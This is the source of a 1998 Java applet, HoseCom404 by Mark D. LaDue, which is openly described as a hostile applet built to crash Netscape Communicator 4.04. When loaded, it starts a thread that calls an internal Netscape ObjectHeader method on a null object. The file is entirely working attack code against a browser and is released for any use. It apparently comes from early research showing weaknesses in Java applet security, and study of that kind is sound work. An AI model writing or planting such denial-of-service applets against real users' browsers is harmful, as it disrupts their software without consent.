/* HoseCom404.java by Mark D. LaDue */ /* April 5, 1998 */ /* Copyright (c) 1998 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* This applet exhibits a simple and elegant way to crash Communicator 4.04. It is perhaps the world's smallest known hostile applet. In order to compile the applet, you will need to make sure that the Communicator's classes are in your CLASSPATH.*/ import netscape.misc.*; public class HoseCom404 extends java.applet.Applet implements Runnable{ Thread controller = null; Object obj = null; public void init() { } public void start() { if (controller == null) { controller = new Thread(this); controller.start(); } } public void stop() {} public void run() { ObjectHeader.GetObjectHeader(obj); // ObjectHeader.SetObjectHeader(obj, 0); } }